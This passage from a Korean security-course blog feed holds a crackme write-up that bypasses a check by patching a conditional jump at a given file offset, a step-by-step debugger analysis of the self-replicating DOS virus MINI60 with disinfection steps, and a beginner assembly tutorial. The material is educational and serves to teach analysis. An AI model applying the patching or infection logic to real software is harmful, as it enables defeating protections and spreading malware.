<p><code>EAX</code>와 <code>ESI</code>가 같지 않기 때문에 점프를 하지 않게 된다. 즉, 만약 <code>CD-ROM</code>에 해당하는 값으로 리턴이 된다면 점프를 하는 것으로 보인다. 이 문제를 풀기 위해서는 해당 점프 구문의 <code>JE</code>를 <code>JNE</code>로만 바꿔주면 된다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/1a8c3d0f-485b-4297-bbea-24a2cea88b6b/image.png" alt=""></p>
<p>해당 구문을 바꾼 후 실행해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cfd0a5ca-7a1c-477a-9ac8-dcde10c276e0/image.png" alt="">
정상적으로 잘 우회한 모습이다. 이제 실제 파일을 크랙해보자.</p>
<p>아까 위에서 파일의 실제 <code>Offset</code>과 메모리 상의 주소는 다르다고 했었는데, 현재 메모리상의 절대주소, 즉 <code>VA</code>가 <code>0x401026</code>이다. 위에서 본 이 파일의 <code>Image Base</code>가 <code>0x400000</code>이었기 때문이 해당 주소의 <code>RVA</code>는 <code>0x1026</code>이다.</p>
<p>이제 <code>RVA</code>를 <code>Offset</code>으로 변환시켜주면 실제 파일에서 저 구문의 위치를 알 수 있게 되는데, 섹션 헤더를 보면
<img src="https://velog.velcdn.com/images/gloomy_passion/post/7120b95c-d44d-4cea-b4bf-71cc3e748878/image.png" alt="">
<code>RVA</code>가 <code>0x1000</code>이고 <code>Virtual Size</code>가 <code>0x1000</code>이므로 <code>0x1000</code>부터 <code>0x1000</code>만큼의 영역, 즉 <code>0x1000 ~ 0x1fff</code>를 의미한다.</p>
<p><code>0x1026</code>은 이 영역에 해당하기 때문에 <code>Pointer to Raw Data</code>와 <code>RVA</code>의 차이를 구한 후 해당 값을 이용해 계산하면 된다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/839e2872-cf70-4a85-8373-6daded833d05/image.png" alt=""></p>
<p>차이가 <code>0xA00</code>이므로 <code>0x1026</code>에서 <code>0xA00</code>를 빼준다. <img src="https://velog.velcdn.com/images/gloomy_passion/post/0b9bef9a-c4fb-4aee-8d92-f1d48fdf063a/image.png" alt="">
<code>0x626</code>이 해당 구문의 파일에서의 실제 <code>Offset</code>임을 알 수 있다. 그렇다면 이제 <code>HxD</code>를 이용해서 해당 파일을 크랙해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/471cf63c-c8d8-4000-bced-56879273da65/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/59846bd8-0ff4-4153-a371-e243b0e783b1/image.png" alt=""></p>
<p>실제로 잘 있는 것을 볼 수 있다. 이제 저 값을 <code>0x74</code>에서 <code>0x75</code>로 바꾼 후 저장해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/acad2e50-57f5-4574-b1fe-f8a11dea54b8/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/e56deb45-241b-48e5-a67e-bef6c4280500/image.png" alt="">
성공적으로 크랙을 완료하였다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 8주차 - 악성코드 리버싱(MINI60)]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%A6%AC%EB%B2%84%EC%8B%B1MINI60</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%A6%AC%EB%B2%84%EC%8B%B1MINI60</guid>
            <pubDate>Tue, 30 Jan 2024 15:29:37 GMT</pubDate>
            <description><![CDATA[<h3 id="분석-대상-파일-확인">분석 대상 파일 확인</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/9945d9f4-a416-4c75-8d6c-7bb9fcddda75/image.png" alt="">
60바이트 크기의 <code>MINI60</code>이 분석할 악성코드 파일이다.</p>
<h3 id="분석">분석</h3>
<p>지난 글에서 사용한 <code>debug</code>툴로 <code>MINI60</code>파일을 열어보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/19a79c7d-65fb-4ab0-9381-f96a718cb4ae/image.png" alt="">
우선 분석을 시작하기 전에 <code>SI</code>레지스터를 <code>0x100</code>로 이동시켜야 한다. <code>MINI60</code>이라는 악성코드 자체의 확장자가 원래 <code>.com</code>파일이고, <code>.com</code>파일의 기본 <code>SI</code>는 <code>0x100</code>이기 때문이다.</p>
<p>코드를 한줄 한줄 실행시켜가면서 분석해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/862dff70-35b6-4892-999a-e9a6aed1a348/image.png" alt="">
코드를 실행시키다보니 <code>INT 21</code>, 인터럽트를 실행시키는 코드가 등장했다. 이전 글에서 언급했듯이 <code>INT</code>는 <code>AH</code>레지스터의 값으로 종류를 구분하기 때문에 <code>INT 21,4E</code>에 대해 찾아보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/860efc75-b82d-4e74-8746-1a0b59f006aa/image.png" alt=""></p>
<p>뭔가 조건에 맞는 첫 번째 파일을 찾는 인터럽트처럼 보인다. <code>DX</code>레지스터에 저장된 값을 와일드카드를 포함한 아스키 파일 규격의 포인터로 사용하는 것 같다. 즉, 해당 레지스터에 저장된 값이 일종의 파일 이름 정규표현식 역할을 하는 것이다. 어떤 파일을 찾는지 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d9edcc5d-9634-45f1-bc1d-dec97f7d4f8c/image.png" alt="">
<code>*.*</code>즉, 모든 파일 형식을 찾는 것을 알 수 있다.</p>
<p>파일을 찾는 데 실패하면 캐리 플래그가 <code>SET</code>되며 <code>AX</code>레지스터에 에러코드를 반환하고, 파일을 찾는 데 성공하면 <code>DTA</code>라는 구조로 해당 파일의 정보를 반환하는 것 같다.</p>
<p><code>DTA</code>의 구조를 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/5db153a3-51e4-4857-85f9-4d47aad0a1bf/image.png" alt="">
기본적으로 <code>DTA</code>의 오프셋은 <code>0x80</code>이고, 해당 오프셋으로부터 <code>Ox1E</code>번째 오프셋에 찾고자 하는 파일의 이름이 존재하는 것 같다. 그렇다면 <code>0x9E</code>오프셋에 해당 파일 이름이 존재하는 것이기 때문에 해당 주소의 값을 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/4f2a0917-b4ae-4ab6-8a88-1a8306008d4e/image.png" alt="">
<code>MIN60</code>폴더 내부의 <code>MINI60</code>악성코드를 제외한 <code>1234</code>라는 이름의 파일을 찾아낸 것을 볼 수 있다. <code>Ox9A</code>에는 해당 파일의 사이즈도 저장되어 있는 것 같으니 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d1279c58-4e96-4810-8af2-056513f4d54d/image.png" alt="">
실제로 <code>1234</code>파일은 5바이트짜리 파일이기 때문에 정상적으로 잘 저장이 된 것을 확인할 수 있다.</p>
<p>지금까지 악성코드의 실행 방식은 해당 폴더 내부에서 <code>*.*</code>형식에 알맞은 첫 번째 파일을 찾는 것이다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/34412168-021b-42c5-8613-4c376fbc4467/image.png" alt=""></p>
<p>또다시 인터럽트가 등장했다. 이번엔 <code>INT 21,3D</code>를 찾아보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c272325f-20ba-44ee-ad0b-08d4044a73d1/image.png" alt="">
이번엔 핸들을 이용해서 해당 파일을 오픈하는 인터럽트인 것 같다. 현재 <code>AL</code>이 <code>0x02</code>이므로 읽기 및 쓰기 모드로 연 것을 알 수 있고, <code>DX</code>에는 <code>0x9E</code>즉, 아까 확인했던 읽어온 파일의 이름이 들어가는 것을 볼 수 있다. 파일을 여는 데 성공한다면 <code>AX</code>에 해당 파일의 핸들을 리턴해주고 캐리 플래그가 <code>set</code>되지 않는다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/6c4fe0c7-a3cc-483e-a67c-790888a933b2/image.png" alt=""></p>
<p>캐리 플래그가 발생하지 않을 것으로 보아 파일을 여는 데 성공했고, <code>AX</code>에 저장된 <code>0x5</code>는 해당 파일의 핸들임을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/d8a7b281-996f-47a5-9a87-54eb1b698fc9/image.png" alt="">
이번엔 <code>INT 21,3F</code>이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/06667a07-27f9-49ef-b805-c9244b0b06f9/image.png" alt="">
핸들을 이용해 파일이나 장치를 읽는 인터럽트같다.
<code>BX</code>에 저장된 값을 파일 핸들로, <code>CX</code>에 저장된 값을 읽어올 바이트 수로, <code>DX</code>에 저장된 값을 읽어올 버퍼의 포인터로 사용한다. 현재 <code>CX</code>에는 <code>OxFD</code>가 저장되어 있는데, 이는 크게 의미있는 수치가 아니라 이 악성코드 제작자가 악성코드의 길이를 정확히 60바이트로 맞추려다보니 작성한 코드라고한다. <code>DX</code>에는 <code>0x13C</code>, 즉 메모리의 시작점부터 해당 악성코드가 차지하는 부분 바로 다음의 주소이다.</p>
<p>만약 파일을 읽는 데 성공한다면 읽어온 바이트 수를 <code>AX</code>에 리턴해주고 캐리를 발생시키지 않는다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/f217d378-b1c2-4815-8626-39fbba452cef/image.png" alt="">
캐리가 여전히 <code>NC</code>인 것으로 보아 파일을 읽는 데 성공했고 읽어온 바이트 수는 5바이트인 것으로 보인다. 이 때, <code>AX</code>와 <code>BX</code>모두 <code>0x5</code>라는 값이 들어있지만, <code>AX</code>에 들어있는 값은 읽어온 바이트 수, <code>BX</code>에 들어있는 값은 파일의 핸들이다.</p>
<p>현재까지 이 악성코드는 감염시킬 파일을 찾고, 해당 파일의 정보를 메모리 상에서 자신이 차지하는 부분 바로 다음에 위치시키는 작용을 한다. 읽어온 부분의 데이터를 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/6c9883b5-156a-443a-9e7d-b64ce50c6799/image.png" alt="">
<code>1234</code>파일의 내용인<code>VIRUS</code>를 잘 읽어온 것을 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/2ee462f3-f491-479f-a882-96183fdf6ead/image.png" alt="">
다음에 실행하는 코드가 좀 특이한데, 읽어온 파일의 첫 부분이 <code>0x2A</code>로 시작하는지 검사한다. 이 악성코드 자체의 작용 메커니즘이 자가 복제 매커니즘이기 때문에 읽어온 파일이 이미 감염되었는지 확인하는 절차인 것이다. 중복 감염을 방지하는 로직이다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/5bde9f20-4270-4edc-9739-e7b0dcea2b58/image.png" alt="">
이 부분에서 재밌는 부분이 나오는데, 우선 <code>CX</code>레지스터의 값을 <code>XOR</code>연산을 이용해 초기화시킨 후, <code>MUL</code>명령을 실핸하는데 <code>MUL</code>명령은 <code>AX</code>레지스터와 <code>MUL</code>의 첫 번째 오퍼랜드를 곱한 후 <code>AX</code>와 <code>DX</code>에 나눠서 저장하는 명령이다. 악성코드 작성자는 2바이트의 <code>XOR</code>과 2바이트의 <code>MUL</code>로 세 개의 레지스터를 모두 0으로 초기화시킨 것이다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/4a4dd1f1-60a1-4525-a3e6-c431417f0efe/image.png" alt="">
또 다시 인터럽트이다. <code>INT 21,42</code>를 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cd3e3c4e-8c20-4c79-8cda-64e11c99ab76/image.png" alt="">
파일 포인터를 이동시키는 인터럽트이다. 파일을 읽어올 때 파일 포인터가 파일의 맨 끝으로 이동했기 때문에 해당 파일의 포인터를 맨 앞에 위치시켜 주는것이다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/01ebda8a-ed2c-448f-ace4-f7b76862e17d/image.png" alt="">
<code>INT 21,40</code>을 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/e6717374-1366-4fa2-90d8-231395b715dc/image.png" alt="">
<code>DX</code>에 저장된 값의 주소부터 <code>CX</code>에 저장된 값의 바이트 수 만큼 <code>BX</code>파일 핸들에 쓰는 인터럽트이다.</p>
<p>지금까지 이 악성코드의 작동 원리는 우선 <code>*.*</code>의 형식의 파일을 찾고, 해당 파일을 열어서 메모리 상 자신의 다음에 위치시킨 후, 중복 감염 여부를 조사하고 감염된 파일이 아니라면 파일 포인터를 파일의 맨 앞으로 이동시킨 후 <code>DX</code>에 저장된 값의 주소부터 <code>CX</code>에 저장된 값의 바이트 수 만큼 파일에 쓰는 원리이다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/8e8b4b97-7731-48ec-9614-c117735506f4/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c061c7ce-8716-41c5-8d8a-ea0ec437b2c2/image.png" alt="">
이전의 파일을 성공적으로 감염시켰으니 조건에 맞는 다음 파일을 찾는 인터럽트를 실행한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/6eab56a7-5ab3-493c-b7de-670b8a909803/image.png" alt="">
다음에 찾은 파일을 확인해보니 <code>0x9E</code>에 자기 자신이 들어있는 모습을 볼 수 있다. 그렇다면 자기자신은 중복 감염 여부를 검사하는 로직에서 뭔가 다르게 작용할 것이다. 확인해보자.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/969959f6-fa8b-4bf2-9bd1-2215f66354a0/image.png" alt="">
<code>Zero</code>플래그가 <code>SET</code>되어 <code>0x138</code>로 점프한 것을 볼 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cb6a6615-c2f5-442a-ac37-5ba284135213/image.png" alt="">
이후 또 다시 다음 파일을 찾지만, 해당 폴더에 더 이상 파일이 없기 때문에 캐리 플래그가 발생하고 <code>AX</code>레지스터에 에러코드가 리턴된 것을 볼 수 있다. 해당 에러코드를 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/42e999d5-7b0f-4e12-8076-348b4bdd7f89/image.png" alt="">
<code>DOS</code>에러코드에서 12는 <code>NO more files</code>, 즉 찾을 파일이 더 이상 없다는 것을 의미한다.</p>
<h3 id="분석-결과">분석 결과</h3>
<p>해당 악성코드는 같은 폴더 내의 <code>*.*</code>형식의 파일을 찾아 열어서 메모리 상에서 자신이 위치하는 다음 부분에 불러온 후 해당 파일의 첫부분을 검사해 중복 감염을 방지하고 감염된 파일이 아니라면 파일 포인터를 처음으로 이동시킨 후 자기 자신+해당 파일의 내용을 파일에 새로 써내서 복제하는 악성코드이다.</p>
<h3 id="결과-확인">결과 확인</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/76236d9d-8574-4e53-91ec-cdb6b68efd25/image.png" alt="">
<code>1234</code>파일의 크기가 60 + 5, 65바이트로 증가했고 내부를 살펴보면
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3999a701-b571-48f9-bbfa-3418ee50686e/image.png" alt="">
자기자신을 복제한 후 뒤에 해당 파일의 내용을 붙이는 식으로 감염시켰음을 알 수 있다. 해당 파일의 치료는 원래 파일의 내용 앞부분을 지우면 정상적으로 치료가 된다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/bc0e2e5b-69ae-426e-b398-985897c69d36/image.png" alt="">
이렇게 수정하면 치료가 완료된 것이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 8주차 - 악성코드와 어셈블리어]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EC%99%80-%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EC%99%80-%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4</guid>
            <pubDate>Tue, 30 Jan 2024 14:04:55 GMT</pubDate>
            <description><![CDATA[<h2 id="악성코드-개요">악성코드 개요</h2>
<hr>
<h3 id="악성코드란">악성코드란?</h3>
<p>악의적인 목적을 위해 작성된 실행 가능한 코드를 의미한다. 악성코드는 다음의 종류들이 있다.</p>
<blockquote>
</blockquote>
<ul>
<li>바이러스</li>
<li>웜</li>
<li>트로이 목마</li>
<li>스파이웨어</li>
<li>애드웨어</li>
<li>랜섬웨어</li>
<li>기타</li>
</ul>
<h3 id="악성코드의-역할">악성코드의 역할</h3>
<ul>
<li><code>Droppper</code>: 생성</li>
<li><code>Launcher</code>: 실행</li>
<li><code>Backddor</code>: 연결</li>
<li><code>Module</code>: 각각의 악성 행위를 실행하는 악의적인 목적을 위해 작성된 실행 가능한 코드</li>
</ul>
<h2 id="악성코드-분석-실습">악성코드 분석 실습</h2>
<hr>
<h3 id="분석-툴">분석 툴</h3>
<p><code>DOS</code>환경에서 작동하는 <code>debug</code>툴을 이용하는데, 64bit환경에서 실행하기 위해서는 <code>DOSBox</code>를 설치해야 한다.</p>
<h3 id="debug-기본-사용법">Debug 기본 사용법</h3>
<p>현재 분석을 위한 툴과 악성코드의 경로가 <code>C:\MINI</code>이므로, <code>mount c c:\mini</code>명령어를 이용해 해당 폴더를 <code>c:\</code>로 마운드한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c89a708e-7e9f-4ed8-bc60-7ba0a76d11fe/image.png" alt=""></p>
<p><code>debug</code>를 입력 후 정상적으로 실행되는지 확인한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c4b90eee-28f4-40a5-b8f8-ebfa80fb3eee/image.png" alt=""></p>
<p><code>debug</code>에서 주로 사용할 명령어는 <code>a</code>, <code>r</code>, <code>e</code>, <code>p</code>, <code>t</code>, <code>d</code> 정도가 있다.</p>
<blockquote>
</blockquote>
<ul>
<li><code>a</code>: 특정 주소에 어셈블리어를 작성하는 명령어</li>
<li><code>r</code>: 현재 레지스터의 값을 보는 명령어이지만 <code>r</code>뒤에 특정 레지스터를 입력하면 해당 레지스터의 값을 설정하는 명령어</li>
<li><code>e</code>: 특정 주소의 값을 <code>edit</code>하는 명령어</li>
<li><code>p</code>: <code>proceed</code></li>
<li><code>t</code>: <code>trace</code></li>
<li><code>d</code>: 특정 메모리에 있는 값을 확인하는 명령어</li>
</ul>
<h3 id="debug-플래그">debug 플래그</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/de89eae1-c845-4a1c-a264-695f0cc86c44/image.png" alt="">
주목할 플래그는 <code>Zero</code>, <code>Carry</code>정도가 있다.</p>
<h3 id="명령어-실습">명령어 실습</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/0cf072ee-79d1-4269-9697-ef28c03230af/image.png" alt="">
<code>IP</code>는 <code>Instruction Pointer</code>로 다음에 실행할 코드의 주소를 나타낸다.
현재 주소가 <code>0x0100</code>이므로 해당 주소에 코드를 작성하도록 하겠다.</p>
<h4 id="mov">MOV</h4>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/dd44530d-9506-44c5-91f0-dbaa4a6e5444/image.png" alt="">
<code>MOV Dest, Src</code>는 <code>Dest</code>에 <code>Src</code>값을 저장하는 코드이다.</p>
<pre><code>MOV reg, reg
MOV reg, imm
MOV mem, reg
MOV reg, mem</code></pre><p><code>MOV</code>는 위의 형태로만 사용할 수 있다.
위의 코드는 <code>0x1234</code>를 <code>bx</code>레지스터에 넣고, <code>ax</code>레지스터에 <code>bx</code>레지스터 값을 넣고, <code>0x120</code>주소에 <code>bx</code>레지스터 값을 넣고 <code>cx</code>레지스터에 <code>0x120</code>주소에 있는 값을 넣는 코드이다.</p>
<p>결과적으로 
<code>ax</code>, <code>bx</code>, <code>cx</code>, <code>0x120</code>에 모두 <code>0x1234</code>값이 들어간다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/99674ea1-d1a1-492c-aa16-3022161d1225/image.png" alt=""></p>
<p><code>0x120</code>에 <code>0x1234</code>가 잘 들어있는지 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/808b2bdd-af05-402a-a5a0-1b1de694910f/image.png" alt="">
<code>34 12</code>의 형태로 데이터가 저장되어 있는데, 이것은 반대로 저장된 것이 아니라 <strong>리틀 엔디안 방식</strong>으로 저장되기 때문에 그렇다.</p>
<blockquote>
</blockquote>
<p>리틀 엔디안은 낮은 주소에 데이터의 낮은 바이트(LSB, Least Significant Bit)부터 저장하는 방식이다.</p>
<h3 id="inc">INC</h3>
<p><code>INC</code>는 오퍼랜드의 값을 1 증가 시킨다. 다음의 형태로만 사용 가능하다. 단, 메모리의 경우는 크기를 지정해야 한다.</p>
<blockquote>
</blockquote>
<ul>
<li><code>4bit</code>: <code>nibble</code></li>
<li><code>8bit</code>: <code>byte</code></li>
<li><code>2byte</code>: <code>word</code></li>
<li><code>4byte</code>: <code>dword</code></li>
</ul>
<pre><code>INC reg
INC mem</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/aa36766e-fa00-4228-8ee0-22216e7dd046/image.png" alt="">
<code>bx</code>레지스터의 값이 1만큼 증가한 것을 확인할 수 있다.</p>
<p><code>INC</code>명령어를 이용해 <code>Zero</code>플래그의 변화를 관찰해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c4272855-baf8-4806-b2f5-e53619400153/image.png" alt="">
<code>bx</code>레지스터에 <code>0xffff</code>값을 저장한 후 1을 증가시켰더니 0으로 바뀌며 <code>Zero</code>플래그가 <code>set</code>되는 것을 볼 수 있다.</p>
<h3 id="dec">DEC</h3>
<p><code>DEC</code>의 경우, <code>INC</code>와 반대로 오퍼랜드의 값을 1 감소 시킨다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/2207a68c-20dc-4d3b-b621-caac582ba7d1/image.png" alt=""></p>
<p><code>bx</code>를 1 감소 시켰더니 다시 <code>0xffff</code>가 되면서 <code>Zero</code>플래그가 <code>NZ</code>로, <code>Sign</code>플래그가 <code>NG(Negative)</code>로 변한 것을 볼 수 있다.</p>
<h3 id="add">ADD</h3>
<p><code>ADD</code>는 첫 번째 오퍼랜드에 두 번째 오퍼랜드의 값을 더하여 저장하는 명령어이다. 다음의 형태로 사용할 수 있다.</p>
<pre><code>ADD Dest, Src
ADD reg, reg
ADD reg, imm
ADD mem, reg
ADD mem, imm
ADD reg, mem</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/820a3ee4-e765-4311-8dc6-b0e0ab768620/image.png" alt=""></p>
<h3 id="sub">SUB</h3>
<p><code>SUB</code>는 첫 번째 오퍼랜드에서 두 번째 오퍼랜드의 값을 뺀 후 저장하는 명령어이다.</p>
<pre><code>SUB Dest, Src
SUB reg, reg
SUB reg, imm
SUB mem, reg
SUB mem, imm
SUB reg, mem</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/ebd3eb72-477b-4956-8e31-1be997dc31a3/image.png" alt=""></p>
<h3 id="cmp">CMP</h3>
<p><code>CMP</code>는 매우 중요한 명령어이다. 첫 번째 오퍼랜드에서 두 번째 오퍼랜드를 <code>SUB</code>연산 진행 후, 값이 같다면 결과가 0이 되면서 <code>Zero</code>플래그가 <code>set</code>된다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/4b111e99-17d7-493c-bfcd-491f0a8efb03/image.png" alt="">
<code>Zero</code>플래그가 <code>ZR</code>로 바뀐 것을 볼 수 있다.</p>
<h3 id="jump-instructions">Jump Instructions</h3>
<blockquote>
</blockquote>
<ul>
<li><code>jmp</code>: 무조건 해당 주소로 점프</li>
<li><code>jz, je</code>: 제로 플래그가 1이면(결과가 0이면) 점프</li>
<li><code>jnz, jne</code>: 제로 플래그가 0이면(결과가 0이 아니면) 점프</li>
<li><code>jc, jb</code>: 캐리 플래그가 1이면(캐리가 발생하면) 점프</li>
<li><code>jnc, jnb</code>: 캐리 플래그가 0이면(캐리가 발생하지 않으면) 점프</li>
</ul>
<h3 id="call-ret">CALL, RET</h3>
<p><code>CALL</code>은 해당 주소로 이동한 후 돌아올 주소를 스택에 저장한다. <code>RET</code>을 만나면 스택에 저장된 주소를 <code>POP</code>해서 해당 주소로 다시 이동한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/7da97373-6aac-4cc6-9c9c-0d9c0f7b740b/image.png" alt="">
<code>CALL</code>명령어로 인해 <code>Ox150</code>주소로 이동한 상황이다. 스택 포인터를 살펴보면 <code>fd</code>에서 <code>fb</code>로 낮아진 모습을 볼 수 있다. 스택은 거꾸로 자라기 때문에 스택에 어떤 값이 들어가면 스택 포인터는 위로 이동한다. 스택에 있는 값을 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/37cfa90e-7b5d-413d-9a5a-87a62cfb3492/image.png" alt="">
해당 스택의 주소에 <code>0x103</code>이 저장되어 있는 모습이다. 이것이 바로 <code>RET</code>를 만났을 때 되돌아 올 주소이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/17b82126-8ae5-4ee0-aa99-e175606141fb/image.png" alt="">
<code>RET</code>를 만나서 <code>0x103</code>주소로 되돌아 온 모습이다.</p>
<h3 id="push-pop">PUSH, POP</h3>
<p><code>PUSH</code>는 첫 번째 오퍼랜드의 값을 스택에 저장하는 명령이고, <code>POP</code>은 스택에 마지막으로 저장된 값을 첫 번째 오퍼랜드에 저장하는 명령이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/ad91efbd-e65b-4d29-91c9-e0b52cf4c6cb/image.png" alt="">
<code>PUSH</code>를 세번 진행한 후 스택의 모습이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/db061dec-bdd9-4e56-9b40-9be79e4ffc8a/image.png" alt="">
리틀 엔디안 방식으로 잘 저장되어 있는 것이 보인다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/5b64cb9c-6931-4f9f-9b05-24c7d9307d60/image.png" alt="">
<code>POP</code>을 세번 진행하니 스택에 저장된 값이 모두 빠지고 첫 번째 오퍼랜드에 알맞은 값이 들어갔다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/bbf3fcb4-b23e-4532-aa7a-30acc86c3b66/image.png" alt=""></p>
<h3 id="and-or-xor">AND, OR, XOR</h3>
<p><code>AND</code>, <code>OR</code>, <code>XOR</code>은 말 그대로 첫 번째 오퍼랜드와 두 번째 오퍼랜드를 각각의 비트연산을 진행한 후 첫 번째 오퍼랜드에 저장하는 명령이다.</p>
<h3 id="값의-교환">값의 교환</h3>
<pre><code>mov cx, ax
mov ax, bx
mov bx, cx</code></pre><pre><code>xor ax, bx
xor bx, ax
xor ax, bx</code></pre><pre><code>push ax
push bx
pop ax
pop bx</code></pre><pre><code>xchg ax, bx</code></pre><p>네 가지 모두 <code>ax</code>레지스터의 값과 <code>bx</code>레지스터의 값을 교환하는 코드이다. <code>mov</code>의 경우는 <code>cx</code>라는 레지스터를 추가로 이용해야 하는 단점이 있다.</p>
<h3 id="int">INT</h3>
<p><code>INT</code>명령은 소프트웨어 인터럽트를 발생시키는 명령이다.
<a href="http://stanislavs.org/helppc/idx_interrupt.html">http://stanislavs.org/helppc/idx_interrupt.html</a>
소프트웨어 인터럽트의 종류를 볼 수 있는 사이트이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9ee6f5ce-c6d2-41dc-b5fb-4415528c7795/image.png" alt="">
인터럽트 코드를 진행한 결과이다.
이 인터럽트가 어떤 인터럽트인지 알기 위해서는 위의 링크를 참고해야한다.</p>
<p>인터럽트는 기본적으로 <code>AH</code>레지스터의 값으로 종류를 구분하기 때문에 찾아야할 인터럽트는 <code>int 1a,2</code>이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d9fcea54-1707-4888-8bde-d35d0360c0d5/image.png" alt="">
실행한 인터럽트에 대한 설명이다. 현재 시간을 불러오는 인터럽트같다.</p>
<pre><code>AH = 02

    on return:
    CF = 0 if successful
       = 1 if error, RTC not operating
    CH = hours in BCD
    CL = minutes in BCD
    DH = seconds in BCD
    DL = 1 if daylight savings time option</code></pre><p><code>AH</code>는 기본적으로 정해져있고, 만약 인터럽트를 실행하는 데 성공했다면 캐리 플래그에 0, 즉 캐리 플래그가 클리어 된다는 뜻이다.</p>
<p><code>CH</code>에는 현재 시간이 리턴되고 <code>CL</code>에는 분, <code>DH</code>에는 초가 저장되는 것 같다. 위의 실행화면을 살펴보면 캐리 플래그가 <code>NC</code>이므로 성공적으로 현재 시간을 불러온 것을 알 수 있고, <code>CX</code>와 <code>DX</code>를 참고해보면 해당 인터럽트는 <code>22시 56분 41초</code>에 실행한 것을 알 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 7주차 - 개인정보 비식별 미니 챌린지]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EB%B9%84%EC%8B%9D%EB%B3%84-%EB%AF%B8%EB%8B%88-%EC%B1%8C%EB%A6%B0%EC%A7%80</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EB%B9%84%EC%8B%9D%EB%B3%84-%EB%AF%B8%EB%8B%88-%EC%B1%8C%EB%A6%B0%EC%A7%80</guid>
            <pubDate>Tue, 30 Jan 2024 07:46:01 GMT</pubDate>
            <description><![CDATA[<h2 id="챌린지-개요">챌린지 개요</h2>
<hr>
<h3 id="개인정보-비식별-자동화-기술-개발">개인정보 비식별 자동화 기술 개발</h3>
<p>1차 : 개인정보 비식별 기술을 적용하여 가명/익명처리를 수행하라!
